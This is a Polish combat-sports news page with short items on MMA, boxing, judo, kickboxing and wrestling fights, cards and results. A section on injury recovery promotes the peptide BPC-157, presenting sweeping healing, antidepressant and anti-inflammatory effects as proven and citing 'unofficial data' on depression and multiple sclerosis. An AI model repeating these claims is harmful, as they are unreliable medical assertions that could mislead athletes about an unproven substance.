Bandel z szansą na zdobycie pasa

Marcin Bandel zawalczy o pas mistrzowski kategorii super półśredniej organizacji Brave CF. Jego rywalem 19 października będzie Ismail Naurdiev.

32-letni „Bomba” podczas gali Brave CF 58 pokonał Luisa Felipe Dias. Bandel wygrał trzy walki z rzędu. Polak aż 18 z 21 zwycięstw odniósł przed czasem.

Naurdiev ostatnio triumfował podczas gali Brave CF 59. Austriak znokautował Bektena Zheebekova. 26-latek w swojej karierze triumfował 22 razy, doznał 5 porażek.

19 października Bandel stanie przed szansą na zdobycie psa mistrzowskiego Brave CF. Gala Brave CF 63 odbędzie się w Khalifa Sports City Arena w bahrańskim Isa Town.

 

Fot. materiały prasowe

 

Czytaj również: Starcie legend KSW

Starcie legend KSW

17 grudnia w Arenie Gliwice dojdzie do największej walki w historii KSW. Rękawice skrzyżują Mariusz Pudzianowski i Mamed Khalidov.

Podczas gali XTB KSW 77 odbędzie się pojedynek, o którym mówiło się od dawna. Bez wątpienia Pudzianowski i Khalidov to legendy i najbardziej rozpoznawalne twarze KSW. Będzie gorąco!

Mariusz Pudzianowski debiutował w KSW 11 grudnia 2009 roku. Podczas gali KSW 12 w Warszawie pokonał po 43 sekundach Marcina Najmana. Łącznie w polskiej organizacji „Pudzian” stoczył 23 pojedynki. Na swoim koncie zapisał 17 wygranych. Ostatnio Pudzianowski pokonał Michała Materlę. Były mistrz świata strongman ma świetną serię – pięciu wygranych z rzędu.

Mamed Kahlidov to mistrz KSW w wadze półciężkiej w latach 2009-2011 oraz w wadze średniej w latach 2015-2018 oraz 2020-2021.  W ostatniej walce przegrał z Roberto Soldiciem, a pojedynek odbył się w grudniu 2021 podczas KSW 65. Łącznie Khalidov stoczył w KSW 25 walk, z czego 19 zakończyło się jego triumfami. W karierze 42-latek odniósł 35 zwycięstw i zanotował 8 porażek.

Kibice czekają na ten pojedynek. Pudzianowski i Khalidov mają za sobą wiele świetnych strać w KSW. 17 grudnia czeka na show.

 

#VOD

Souza rywalem Andryszaka w starciu mistrzowskim

Eder de Souza (19-8, 7 KO, 10 SUB) będzie rywalem Michała Andryszaka (24-10, 15 KO, 8 SUB) podczas gali FEN 42, która 15 października odbędzie się we wrocławskiej hali Orbita. Stawką tego pojedynku będzie pas mistrzowski FEN w kategorii ciężkiej.
Eder De Souza to mistrz FEN w kategorii półciężkiej. W starciu mistrzowskim poddał Wójcika w 2. rundzie. Wcześniej ze znakomitej strony pokazał się podczas gali Seaside BattleS Dziwnów, gdy już w 1. rundzie pokonał Wojciecha Janusza. „Bambu” spośród 19 zwycięskich pojedynków aż 17 skończył przed czasem dziesięciokrotnie poddając swoich rywali. Souza w 2019 roku stoczył dwa pojedynki i oba wygrał – w pierwszym z nich już w premierowej odsłonie znokautował Santosa Gomesa, w drugim poddał Askara Mozharova.
Andryszak wygrał w karierze 24 pojedynki, z czego 23 przed czasem i aż 21 skończył w 1. rundach. W swoim debiucie w FEN pokonał w premierowej odsłonie Evgeniya Holuba„Longer” poddał w 2021 roku w 2. starciu Guto Inocente, wcześniej w 9. sekundzie walki znokautował Iona Grigore. Andryszak to były pretendent do tytułu mistrzowskiego KSW w kategorii ciężkiej. Idąc po trofeum rozprawił się z takimi rywalami, Jak Fernando Rodrigues Jr. czy Michał Kita.

Jakimi suplementami wspierać okres leczenia i rehabilitacji zawodnika?

Prawidłowy proces regeneracji i rehabilitacji po kontuzji w sportach walki to jeden z najważniejszych czynników, który może mieć wpływ na przyszłą karierę zawodnika a także jego zdrowie w przyszłości.

Prawidłowy proces regeneracji i rehabilitacji zawodnika po kontuzji w sportach walki to jeden z najważniejszych czynników, który może mieć wpływ na przyszłą karierę zawodnika a także jego zdrowie w przyszłości. Czasami to „BYĆ ALBO NIE BYĆ” dla sportowca.

Sport szczególnie w wydaniu zawodowym to ogromne obciążenie dla organizmu sportowca oraz narażanie go na szereg przeciążeń, urazów i kontuzji. Sztuki walki jak sama nazwa wskazuje w wydaniu amatorskim czy zawodowym zawsze w efekcie końcowym prowadzą do konfrontacji w walce zawodników a tym samym sportowcy potocznie nazywani „Fighterami” narażeni są na szereg urazów i kontuzji.

Oczywiście większość sportów walki przewiduje możliwość uczestnictwa w treningach indywidualnych, podczas których zawodnik ma kontakt jedynie z trenerem lub trenerami w zależności od specyfiki danej sztuki walki to w efekcie finalnym musi konfrontować swoje umiejętności z przeciwnikami podczas zawodów sportowych. Doskonalenie technik walki podczas zajęć z workiem treningowym, tzw. tarczami czy innymi przyrządami, które służą do doskonalenia techniki minimalizuje odniesienie kontuzji, a ryzyko odniesienia kontuzji rośnie z chwilą wprowadzenia do jednostek treningowych sparingów oraz udziału w zawodach sportowych podczas których konfrontacja jest nieunikniona.

Kontuzje w sztukach walki mogą zatem występować bezpośrednio w walce ale również w tzw. okresie przygotowawczym tj. podczas regularnych treningów. Wszelkiego rodzaju urazy są czynnikiem nieodłącznym dla każdej dyscypliny sportu, jednakże prawdopodobieństwo rośnie w przypadku sportów kontaktowych jakimi są sztuki walki.

Do najczęściej występujących urazów i kontuzji w sztukach walki zaliczyć możemy:

– Złamania, skręcenia stawów, oraz wszelkie inne urazy mechaniczne kończyn. Sztuki walki dzielą się na tzw. uderzane i chwytane nie mniej jednak ich trenowanie powoduje wiele podobnych kontuzji. Oczywiście są takie, które częściej występują w sportach uderzanych niż w sportach chwytanych. Nader często dochodzi do złamań nosa lub kości kończyn górnych i dolnych,

– Pęknięcia i rozcięcia skóry, występujące najczęściej w okolicach głowy zawodnika przykładowo są to łuki brwiowe lub czoło gdzie skóra znajduje się blisko kości i jest stosunkowo do innych części ciała cienka. Zatem uderzenia odpowiednio mocne i celne powodują szerokie rozcięcia i obfite krwawienie,

– Zerwania czy naderwania mięśni i/lub wiązadeł, które często wymagają ingerencji chirurgicznej, długotrwałego leczenia oraz rehabilitacji. Tego rodzaju urazy powstają w wyniku przeciążeń zawodnika lub przeciągnięcia tzw. dźwigni.

Co w sytuacji, kiedy już do urazów i kontuzji dojdzie. Wówczas pierwsze kroki kierujemy do lekarza specjalisty i w uzasadnionych przypadkach do rehabilitanta. Leczenie wszelkiego rodzaju kontuzji wiąże się nieodłącznie ze stosowaniem leków oraz suplementów diety. Duże znaczenie w leczeniu kontuzji mają środki wspierające leczenie i regenerację. Jednym z nich może być BPC-157, którego działanie polega na:

  • szybszym tempie gojenia się ran i złamań,
  • utrzymaniu w zdrowiu przewodu pokarmowego,
  • sprawniejszej regeneracja mięśni,
  • ochronie układu nerwowego,
  • redukcji stanów zapalnych,
  • wzmocnieniu stawów i ścięgien.

BPC-157 to syntetyczny peptyd składający się z 15 aminokwasów, który wykazuje silne działanie gojące i regenerujące. Skraca czas dochodzenia do zdrowia po urazach i kontuzjach w obrębie układu mięśniowo-szkieletowego. Jest w stanie znacząco przyspieszyć gojenie uszkodzonych struktur kości, stawów, ścięgien, więzadeł oraz mięśni i w stosunkowo krótkim czasie przywrócić im pełną sprawność. Może także ułatwić gojenie się ran, skaleczeń i oparzeń, nawet wtedy, gdy w czasie terapii równolegle stosowane są kortykosteroidy. Co więcej, BPC-157 ma silne działanie przeciwzapalne. Skutecznie niweluje symptomy stanu zapalnego (obrzęk, ból, zaczerwienienie, podwyższona temperatura), które zwykle towarzyszą urazom aparatu ruchu. Jest znany z korzystnego wpływu na układ pokarmowy. Chroni wątrobę i błony śluzowe przewodu pokarmowego przed uszkodzeniami powodowanymi nadmiernym spożyciem alkoholu albo przyjmowaniem niektórych leków, zwłaszcza tych z grupy NLPZ. Ponadto wspomaga leczenie chorób jelit i żołądka – wykazuje dużą skuteczność w przypadku wrzodów, przetok jelitowych, nieswoistego zapalenia jelit (IBD). Może również wspierać funkcje mięśni przełyku, a dzięki temu łagodzi objawy refluksu. BPC-157 ma potencjał przeciwdepresyjny. W badaniach udowodniono, że peptyd ten wchodzi w interakcję z układem serotoniny i może podnosić stężenie tego neuroprzekaźnika. Przypuszcza się, że może on również zwiększać wrażliwość receptorów na działanie innych neurotransmiterów. Z nieoficjalnych danych wynika, że na kurację peptydem bardzo dobrze reagują osoby chorujące na przewlekłą depresję i stwardnienie rozsiane.

Głosowanie trwa do 14 października

Kickboxing walczy o dołożenie do programu Igrzysk Olimpijskich. Weź udział w głosowaniu.

W połowie 2023 roku poznamy decyzję o dyscyplinach, które pojawią się na Igrzyskach Olimpijskich 2028 w Los Angeles. Obecnie trwa głosowanie. Organizatorzy przedstawili listę dziewięciu sportów, wśród których znalazł się kickboxing.

Każdy głos ma znaczenie! Wystarczy wejść na stronę i zaznaczyć kickboxing.

Głosowanie trwa do 14 października. Każdy może przyczynić się do obecności kickboxingu na igrzyskach.

Fot. Polski Związek Kickboxingu Facebook

 

#VOD

Biało-czerwoni wystartują w Pucharze Europy

1-2 października odbędzie się rywalizacja w Pucharze Europy w Celje – Podcetrtek w judo. Na starcie nie zabraknie polskich zawodników.

W Słowenii zaprezentują się medaliści ubiegłorocznych mistrzostw Polski. Paulina Szlachta (48kg) i Eliza Wróblewska (70kg), które wywalczyły złoto. Zobaczymy również Natalię Stokłosę (48kg), Kingę Klimczak (52kg), Oliwię Wątorek (57kg), Agatę Szafran (63kg), Annę Dąbrowska (63kg), Annę Dyba (70kg). Wśród panów zaprezentują się Igor Błaszczak (60kg), Paweł Tylek (60kg), Krzysztof Klimkiewicz (66kg), Dawid Hypta (66kg), Jakub Pankowski (81kg), Grzegorz Teresiński (+100kg).

W Pucharze Europy w Słowenii zaprezentuje się ponad 270 judoków.

 

Czytaj również: Polacy szykują się do startu w Taszkencie

Trzecia walka Fury’go i Chisory?

Mówi się o walce Tysona Fury’ego z Anthonym Joshuą, ale temat oddala się. Czy rywalem mistrza WBC będzie Dereck Chisora?

Powoli możemy mówić o serialu dotyczącym starcia Fury’ego i Joshuy. „Król Cyganów” dał ultimatum blisko 33-letniemu bokserowi na podpisanie kontraktu. W przestrzeni pojawiają się również nazwiska Manuela Charra i Derecka Chisory jako potencjalnych przeciwników Fury’ego.

Mistrz WBC ma boksować 3 grudnia w Cardiff. Nadal czeka na rywala. Ponoć propozycja trafiła do Chisory. Byłoby to trzecie starcie pięściarzy. Pierwszy raz rywalizowali 23 lipca 2011 roku. Triumfował Fury. Kolejna walka odbyła się 29 listopada 2014 roku. W dziesiątej rundzie walka została przerwana, wygrał Fury. 

Kolejne spotkanie po latach? Fury jest na szczycie, posiada pas WBC i jeszcze nigdy nie przegrał. Chisora ostatnio pokonał Kubrata Puleva, ale we wcześniejszych trzech walkach przegrał. 

 

#VOD

Polacy szykują się do startu w Taszkencie

6 października rozpoczną się mistrzostwa świata seniorek i seniorów w Taszkencie w judo. Na starcie 11 reprezentantów Polski.

Za kilka dni biało-czerwoni udadzą się do Azji. Mistrzostwa świata rozpoczną się 6 października i potrwają do 13 października.

Skład kobiecej kadry Polski:

  • Aleksandra Kaleta (52kg)
  • Julia Kowalczyk (57kg)
  • Arleta Podolak (57kg)
  • 63kg Angelika Szymańska (63kg)
  • 70kg Katarzyna Sobierajska (70kg)
  • 78kg Beata Pacut-Kłoczko (78kg)
  • +78kg Kinga Wolszczak (+78kg)

Skład męskiej kadry Polski:

  • Adam Stodolski (73kg) 
  • Wiktor Mrówczyński (73kg) 
  • 81kg Sebastian Marcinkiewicz (81kg)
  • Paweł Drzymał (81kg)

Z powodu kontuzji w Taszkencie nie wystąpi Piotr Kuczera (100kg).

 

Fot. PZJudo Facebook

 

PPV

Zmiana w karcie walk FEN 42

powodu kontuzji Mateusz Rajewski wypadł z karty walk gali FEN 42. Jego miejsce zajął Maciej Kaliciński.

Gala FEN 42 odbędzie się 15 października w hali Orbita we Wrocławie. Poznajemy kolejnych bohaterów wydarzenia. Podczas FEN 42 Dawid Kareciński miał zmierzyć się z Mateuszem Rajewskim, jednak ten drugi doznał kontuzji.

15 października rywalem Karecińskiego będzie Maciej Kaliciński. Zawodnik z Wrocławia debiutował w FEN podczas gali numer 36. Przegrał z Krzysztofem Dobrzyńskim. Ostatnio „Loken” zanotował wygraną podczas gali BGT 6 – pokonał Grzegorza Rogalskiego. W swojej karierze Kaliciński zanotował 5 zwycięstw i poniósł 5 porażek.

Fot. materiały prasowe

Czytaj również: Po kolejną wygraną

Mistrzostwa świata kadetów i juniorów

Już 30 września w Lido di Jesolo startują mistrzostwa świata kadetów i juniorów w kickboxingu.

W imprezie wystartuje reprezentacja Polski, która liczy aż 200 osób. Biało-czerwoni będą rywalizować w formułach Pointfighting, Light Contact, Kick Light, Full Contact, Low Kick, K-1 Rules.

W składzie naszej kary są medaliści ubiegłorocznych mistrzostw Europy, na których zdobyliśmy 71 medali. Rywalizacja w Lido di Jesolo odbędzie się w dniach 30 września – 9 października.

Fot. materiały promocyjne

 

PPV

Po kolejną wygraną

Już 1 października Krzysztof Jotko stoczy kolejną walkę w UFC. Polak zmierzy się z Brendanem Allenem.

33-letni Jotko wygrał dwie ostatnie walki. Pokonał Geralda Meerschaerta i Mishę Cirkunova. Polak związany jest z UFC pd 2013 roku. Dotychczas odniósł 11 zwycięstw i poniósł 5 porażek.

Podczas gali UFC Fight Night 211 Jotko zmierzy się z Brendanem Allenem. Amerykanin wygrał dwie ostatnie walki.

W walce wieczoru dojdzie do starcia w wadze słomkowej kobiet – Mackenzie Dern zmierzy się z Xiaonan Yan.

Fot. Krzysztof Jotko Facebook

#VOD

Dragański nowym rywalem Ostrowskiego we Wrocławiu

Bartłomiej Dragański (2-0, 2 SUB) został nowym rywalem Tomasza Ostrowskiego (0-0) podczas gali FEN 42, która 15 października odbędzie się w hali Orbita. Pojedynek odbędzie się w limicie kategorii średniej.
Dragański 2 kwietnia tego roku zadebiutował na zawodowstwie. W bardzo efektowny sposób pokonał przez duszenie trójkątem znanego z występów w FEN Dariusza Wilka. Podczas debiutu pod sztandarem FEN wygrał w premierowej odsłonie z Alanem Szymańskim trójkątnym duszeniem rękoma. W karierze amatorskiej stoczył 38 walk, z czego 26 wygrał. Reprezentant Dragon Fight Club Sochaczew to ośmiokrotny złoty medalista zawodów ALMMA.
Ostrowski to 28-letni zawodnik trenujący na co dzień w klubie Samuraj Gym w stajni Artnox Fight Sport. „Ostry” wystąpił na gali Babilon MMA 28, gdzie na zasadach semi-pro zwyciężył Krzysztofa Pitonia. W czerwcu 2021 roku podczas Mistrzostw MMA Polska pokonał Jana Fankulewskiego. W karierze amatorskiej Ostrowski stoczył 12 walk, z których 10 wygrał. Podczas gali FEN 42 zadebiutuje na zawodowstwie i po raz pierwszy będzie miał okazję wystąpić na gali FEN.

Fury nie chce walki z Joshuą

Tyson Fury nie zamierza czekać na Anthony’ego Joshuy. Walki nie będzie.

Od kilku tygodni dochodzą do nas kolejne głosy na temat rozmów dotyczących pojedynku Fury’ego z Joshuą. Strony miały osiągnąć wstępne porozumienie. Mistrz świata WBC zwracał się do „AJ”, aby ten podpisał kontrakt. 

Ostatecznie jednak Fury zerwał rozmowy. „Król Cyganów” poinformował, że nie zamierza dłużej czekać na podpis Joshuy.

W związku z powyższym – Fury kolejny pojedynek stoczy 26 listopada lub 3 grudnia. Wśród jego rywali wymienia się Derecka Chisorę i Manuela Charra. Z kolei Joshua miałby walczyć 17 grudnia.

Fot. Tyson Fury Facebook

PPV

Da Silva rywalem Narkuna na KSW 75

Już 14 października w Nowym Sączu gala KSW 75. Podczas niej zaprezentuje się Tomasz Narkun, którego rywalem będzie Henrique Da Silva.

Popularny „Żyrafa” stracił pas mistrzowski w wadze półciężkiej w pojedynku z Ibragimem Czużygajewem. Narkun przegrała jednogłośną decyzją sędziów. Polski zawodnik czeka na wygraną w KSW od listopada 2020! Ostatni raz wygrał w Łodzi (14 listopada 2020), gdzie pokonał Ivana Erslana. Potem przegrał z Philem De Friesem i wspomnianym Czużygajewem.

Omielańczuk i Martinek zmierzą się na KSW 75

32-letni Narkun będzie polował na 19. zwycięstwo w karierze. W Nowym Sączu były mistrz wagi półciężkiej zmierzy się z Henrique Da Silvą. Brazylijczyk wygrał dwie ostatnie walki. W sierpniu na gali PFC – Pit Bull Fight Championship 59 pokonał przed czasem Natalicio Nascimento Filho. W karierze Da Silva wygrał 18 walk, 8 przegrał.

Fot. materiały prasowe

 

AKTUALNOŚCI

 

Mistrz i wicemistrz

Sukcesy naszych judoków na mistrzostwach Europy Juniorów w Pradze.

18-letni Ksawery Ignasiak (60kg, na zdjęciu) sięgnął po złoty medal. Nasz judoka wygrał w Pradze pięć walk. W finale Ignasiak pokonał Azera Turama Bayramova.

Srebrny medal zdobył Michał Jędrzejewski (100kg). To kolejny sukces naszego zawodnika. Rok temu w Luksemburgu Jędrzejewski wywalczył brąz. W Pradze polski judoka przegrał jedynie z Daniele Accoglim.

Fot. PZJudo Facebook

 

PPV

Wieczorek pokonał Thompsona

Na gali MMA Attack 4 w walce wieczoru Adam Wieczorek pokonał Olego Thompsona.

Powrót organizacji, która ostatni akord zagrała 27 kwietnia 2013 roku. Po czterech latach do rywalizacji powrócił Adam Wieczorek. Były zawodnik UFC mógł wznieść ręce w geście triumfu. Wieczorek w trzeciej rundzie pokonał Olego Thompsona.

Decyzją sędziów Vaso Bakocević lepszy od Mateusza Murańskiego. Starcie odbyło się na zasadach boksu w „meksykańskich” rękawicach. 

W pierwszej rundzie Sergne Ousmane Dia pokonał Zuluzinho. Artur Sowiński decyzją sędziów zwyciężył starcie z Piotrem Ćwiką. Ten pojedynek odbył się na zasadach K-1.

W drugiej rundzie Henry Fadipe znokautował Łukasza Stanka. Jednogłośnie Tomasz Jakubiec lepszy od Davida Ramiresa. Robert Bryczek w pierwszej rundzie odprawił Mateusza Strzelczyka. W starciu na zasadach boksu decyzją sędziów Filip Bątkowski pokonał Krystiana Wilczaka. Mateusz Makarowski lepszy od Krystiana Blezienia – tak uznali sędziowie podejmując jednogłośną decyzję. 

 

Fot. Adam Wieczorek Facebook

 

#VOD

Za dużo kilogramów, a więc trzeba płacić

Shakur Stevenson nie zmieścił się w limicie wagi super piórkowej przed walką z Robsonem Conceicao. Dla boksera jest to bardzo kosztowne.

Tytuły mistrzowskie WBO i WBC stały się wakujące. W przypadku wygranej oba pasy trafią do Conceicao. Na tym nie koniec. W związku z zaistniałą sytuacją strony musiały porozumieć się w kwestii zadość uczynienia.

Stevenson zapłaci karę finansową w wysokości 70 tysięcy dolarów. 50 tysięcy trafi do jego rywala, zaś 20 tysięcy do komisji sportowej stanu Nowy Jork.

Walka Stevensona i Conceicao odbędzie się w nocy 23 września w Prudential Center w Newark.

 

Czytaj również: Brązowe medale naszych zapaśniczek

Omielańczuk i Martinek zmierzą się na KSW 75

14 października w Nowym Sączu odbędzie się gala KSW 75. Podczas niej zobaczymy pojedynek Daniela Omielańczuka i Michala Martinka.

Polski fighter powrócił do KSW po trzynastu latach. W maju przegrał z Ricardo Praselem w Łodzi. Omielańczuk liczy na zwycięstwo, na wygraną Polak czeka blisko 2,5 roku. Jego licznik zatrzymał się na 25 zwycięstwach w karierze. Ostatnie trzy starcia zakończyły się porażkami Omielańczuka.

Rywal Omielańczuka – Michal Martinek to były mistrz wagi ciężkiej czesko-słowackiej organizacji Oktagon MMA. Podczas KSW 71 zawodnik pokonał Filipa Stawowego.

Podczas KSW 75 dojdzie do walki o pas kategorii półciężkiej. Zmierzą się w niej Ibragim Chuzhigaev i Ivan Erslan.

 

Fot. materiały prasowe

 

PPV

Możliwy rewanż Mayweathera Jr. i McGregora

Niewykluczone, że w przyszłym roku zobaczymy kolejny pojedynek Floyda Mayweathera Jr. i Conora McGregora.

Panowie spotkali się 26 sierpnia 2017 roku w T-Mobile Arenie w Las Vegas. Mayweather Jr. wygrał przed czasem, sędzia przerwał walkę w dziesiątej rundzie. Dla Amerykanina było to 50 zwycięstwo w karierze. Z kolei gwiazdor MMA stoczył pierwszy pojedynek w boksie.

Po ponad pięciu latach pojawia się temat rewanżowego starcia Amerykanina i Irlandczyka. Ponoć prowadzone są negocjacje w sprawie walki. Nie wiadomo też jaki miałby być charakter pojedynku – oficjalny czy pokazowy.

Fot. Floyd Mayweather Facebook

#VOD – Oglądaj Kiedy Chcesz

Brązowe medale naszych zapaśniczek

Trzy brązowe medale wywalczyły nasze zapaśniczki podczas mistrzostw świata w Belgradzie.

Anna Łukasiak (50kg) stoczyła zaciętą walkę z Nigeryjką Miesinnei Genesis. Polka przegrywała 0:2, jednak ambitnie walczyła i ostatecznie wygrała 3:2. Łukasiak zdobyła brązowy medal. To kolejny sukces zawodniczki AZS AWF Warszawa. Rok temu Łukasiak zdobyła brązowy medal mistrzostw Europy, sukces powtórzyła w tegorocznej rywalizacji.

Kolejną zawodniczką z brązowym medalem jest Anhelina Łysak (57kg). Polka pokonała Mongołkę Dawaaczimeg Erchembajar 10:6. Dwa lata temu Łysak zdobył brąz mistrzostw Europy, ale wówczas reprezentowała Ukrainę.

Na trzecim stopniu podium stanęła Jowita Wrzesień (59kg). Polka zwyciężyła Mongołkę Erdenesuw Bat Erdene 4:2. W walce Wrzesień (na zdjęciu) nie brakowało emocji. Przegrywała 1:2, wykonała akcję za dwa punkty, ale protest złożył trener rywalki. Jego uwaga nic nie dała. Polka dostała dwa punkty i dodatkowy za niesłuszny protest. Brąz dla Wrzesień! Ten rok jest udany dla blisko 28-letniej zapaśniczki. Na mistrzostwach Europy w Budapeszcie wywalczyła srebro.

 

Fot. Polski Związek Zapaśniczy, Przemek Kaliski

 

Czytaj również: AKTUALNOŚCI

FEN 42: Walka semi-pro dodana do karty walk

Oskar Stachura podejmie Radosława Czajkę podczas gali FEN 42, która 15 października odbędzie się we wrocławskiej hali Orbita. Pojedynek na zasadach semi-pro zakontraktowano w limicie kategorii piórkowej.

Oskar Stachura to młody zawodnik trenujacy w Bebson Team Bielawa. Jego głównym trener jest Sławomir Grabowski, który jest czarnym pasem BJJ. Stachura jest mistrzem europy ALMMA z 2021 roku i posiada amatorski rekord 9-2. Oskar jest też klubowym kolegą czołowego zawodnika FEN – Mariusza Joniaka.
Radosław Czajka do 21-letni wojownik trenujący w klubie w Anaconda Team. W 2019 roku zdobył brązowy medal mistrzostw Polski ALMMA w kategorii junior. Dwa lata później powtórzył to osiągnięcie. Rekord semi-pro Czajki to 4-2, w karierze amatorskiej sotczył 19 pojedynków, z których 12 wygrał.
Pojedynki semi-pro w MMA odbywają się na dystansie 3 rund po 3 minuty każda.
  • nie można używać łokci
  • nie można uderzać kolanem w głowę
  • nie można używać “skrętówek”

Zawodnik Ankosu Poznań wystąpi na gali UFC

Slim Trabelsi wystąpi na gali UFC 280. Jego rywalem będzie Parker Porter.

Dotychczas zawodnik Ankosu Poznań stoczył pięć walk w MMA i wszystkie wygrał. Ostatnio triumfował na gali Ares FC 8. Teraz stanie przed kolejnym wyzwaniem. – Zawodnik Ankos MMA – Slim Trabelsi oficjalnie podpisał kontrakt z najlepszą organizacją na świecie UFC. To już czwarty zawodnik obok Marcina Tybura, Makhmuda Muradova i Michała Oleksiejczuka, który będzie reprezentował nasz klub w tej organizacji – napisał klub.

Trabelsi zaprezentuje się podczas gali UFC 280, która odbędzie się 22 października w Abu Dhabi. Jego rywalem będzie Parker Porter. 37-letni Amerykanin ostatnio przegrał z Jailtonem Almeidą. Wcześniej zanotował trzy wygrane.

Podczas tej samej gali zobaczymy Mateusza Gamrota, który zmierzy się z Beneilem Dariushem.

 

Fot. Ankos MMA Facebook

 

Oglądaj Kiedy Chcesz #VOD

FEN 42: Jankowski z Józefowiczem drugim starciem w formule K-1

Eliasz Jankowski (29-7) podejmie Pawła Józefowicza (6-5) podczas gali FEN 42, 15 października w hali Orbita we Wrocławiu. Pojedynek na zasadach K-1 zakontraktowano w limicie do 70 kilogramów.
Jankowski miał już okazję walczyć na FEN – podczas gali FEN 23 wygrał z Hubertem Dylewskim jednogłośną decyzją sędziów. Wojownik z Legnicy ostatnie miesiące ma bardzo udane – w czerwcu sięgnął po Puchar Świata, a zawody odbyły się na Węgrzech. Chwilę później zdobył tytuł mistrza Polski w formule low-kick. Podczas sierpniowego turnieju Latvia Open Jankowski wygrał dwie walki i zdobył pierwsze miejsce. Wcześniej „Jankes” sięgał po tytuły zawodowego mistrza świata w K-1 Global, zawodowego mistrza świata WKN, wicemistrza Europy WAKO, a także Puchar Świata WAKO w K-1.
Józefowicz to zawodowy mistrz Polski K-1 oraz zdobywca Pucharu Świata. Wojownik z Dolnego Śląska reprezentuje dwa kluby – Kickboxer Wrocław oraz Fighter Nowa Sól. W karierze amatorskiej stoczył 60 pojedynków. Józefowicz to reprezentant Polski, który podczas gali FEN 42 zadebiutuje pod szyldem organizacji.

Gala Wirtuoz Challenge 9 – KUP DOSTĘP

3 grudnia walka Fury’ego z Joshuą?

3 grudnia może dojść do hitowej walki w wadze ciężkiej. Mistrz WBC Tyson Fury miałby zmierzyć się z Anthonym Joshuą.

„AJ” po dwóch porażkach z Oleksandrem Usykiem spadł z tronu kategorii ciężkiej. 32-latek chce się odbudować i wrócić na szczyt. W najnowszym rankingu federacji WBC Joshua znalazł się na szóstym miejscu i zyskał prawa pretendenta do tytułu mistrza świata.

Rozmowy na temat ewentualnej walki „AJ” z Fury’m ruszyły na początku września. Wydaje się, że pojedynek możliwy jest jeszcze w tym roku! Firma 258MGT, reprezentująca Joshuę, przekazała, że przyjęła ofertę na walkę z Fury’m. Starcie miałoby się odbyć 3 grudnia w Cardiff.

Czekamy na kolejne informacje. Obecnie w Wielkiej Brytanii trwa żałoba i przygotowywanie do ceremonii pogrzebowej Królowej Elżbiety II. Odwołano wiele wydarzeń, w tym sportowych.

Fot. Anthony Joshua Facebook

Sprawdź Aktualności

Dojdzie do walki De Friesa i Pudzianowskiego?

Szykuje się kolejne gorące starcie w KSW. Niewykluczone, że dojdzie do starcia Philipa De Friesa i Mariusza Pudzianowskiego.

Podczas gali KSW 74 Anglik po raz kolejny obronił pas mistrzowski w wadze ciężkiej. De Fries pokonał w pierwszej rundzie Ricardo Prasela. Czytaj o tym tu. Po pojedynku jasno wskazał, że chce zmierzyć się z Mariuszem Pudzianowskim.

Popularny „Pudzian” jest gotowy wejść do klatki z mistrzem KSW. – Bądź tego pewny, że nasze drogi się zejdą w klatce Philip De Fries. Na wszytko przyjdzie czas i pora. Ja po swoje pójdę w odpowiednim czasie jeszcze trochę! – podkreśla Pudzianowski.

Ostatnio 45-letni „Pudzian” pokonał Michała Materlę. Pudzianowski wygrał pięć walk z rzędu.

Fot. Mariusz Pudzianowski Facebook

 

Oglądaj Kiedy Chcesz #VOD

Nie żyje Elias Theodorou

W wieku zaledwie 34 lat zmarł zawodnik MMA Elias Theodorou.

Niezwykle smutna informacja. Theodorou przegrał walkę z rakiem wątroby. Kanadyjczyk chorował dłuższy czas, jednak o swoich problemach zdrowotnych nie informował opinii publicznej. Odszedł w wieku zaledwie 34 lat.

Theodorou stoczył w karierze 22 walki, z których 19 wygrał. Przez lata był związany z UFC, gdzie pokonał m.in. Sama Alveya, Daniela Kelly’ego czy Trevora Smitha. Ostatnio Kanadyjczyk walczył w grudniu 2021 roku. a gali Colorado Combat Club 10 pokonał Bryana Bakera.

 

GALA WIRTUOZ CHALLENGE 9 PEACE & LOVE TYLKO W PPV

Norweskie występy polskich bokserów

Dobre występy naszych bokserów w „Romerike Box Open” w Lillestroem koło Oslo. Dominik Kida (71 kg) i Krystian Kopeć (86 kg) zanotowali zwycięstwa.

Kida rywalizował z Norwegiem Nicolainem Moellerem. Polski bokser wygrał jednogłośnie na punkty. Z kolei Kopeć walczył z Islamem Ismaelovem. Jego nieustępliwość i presja doprowadziły go do zwycięstwa. Kopeć wygrał jednogłośnie na punkty.

Dobrą walkę stoczył Beniamin Zarzeczny, jednak werdykt na korzyść Sayeda Kazemiego. Porażkę zanotował również Paweł Sulęcki.

W Lillestroem miał walczyć Jakub Krzpiet, ale jego rywal rozchorował się. 

 

Czytaj również: De Fries ponownie obronił pas

 

Fot. Polski Związek Bokserski 

De Fries ponownie obronił pas

Nie ma mocnych na Phila de Friesa. Podczas KSW 74 angielski zawodnik pokonał Ricardo Prasela.

Mistrz wagi ciężkiej nie zatrzymuje się. De Fries po raz siódmy obronił pas. W Ostrowie Wielkopolskim potrzebował nieco ponad cztery minuty, żeby uporać się z Ricardo Praselem. Duszenie zza pleców i rywal był bez szans. De Fries ponownie mógł cieszyć się z wygranej – 22 w karierze.

Kontrowersje po walce Toma Breese’a z Damianem Janikowskim. Brązowy medalista igrzysk w Londynie w zaspach przegrał w drugiej rundzie. Zdaniem sędziego Janikowski odklepał duszenie w parterze. Zawodnik stał na innym stanowisku. Było gorąco, ale zwycięstwo zanotował Breese.

 

PPV

 

Podczas KSW 74 Darko Stosić pokonał Michała Kitę, a Tomasza Romanowski Cezarego Kęsika. Porażkę zanotowała Anita Berus, która przegrała w drugiej rundzie przez dźwignię na staw łokciowy z Sofii Bagishvili.

Gala było efektowna. Tylko dwa pojedynki kończyły się decyzjami sędziów. 

 

Czytaj również: Walka Różańskiego przełożona

Walka Różańskiego przełożona

Walka Łukasza Różańskiego o pas mistrza świata WBC kategorii bridger przełożona. Starcie ma odbyć się 5 listopada.

To nie pierwsza tego typu sytuacja. Pierwotnie pojedynek miał odbyć się w sierpniu. Potem mówiło się o 15 października. Teraz pojawił się nowy termin. – Walka Rivas – Różański kolejny raz przełożona, tym razem, podobno ostatni na 5-go listopada. Zmiana też miasta. Na najbardziej bokserskie w Kolumbii. Barranquilla – poinformował na Twitterze promotor Andrzej Wasilewski.

Do całej sytuacji odniósł się Łukasz Różański. – Tak to prawda. 5 listopada. Zmiana terminu walki, zmiana miejsca w Kolumbii. Co ja mogę? Nie jest to dla mnie komfortowa sytuacja pod żadnym względem. Kolejny raz zmiana terminu. Trochę to dla mnie frustrujące – podkreśla pięściarz.

Fot. Łukasz Różański Facebook

 

PPV

 

Czytaj również: Specjalny pas na szali

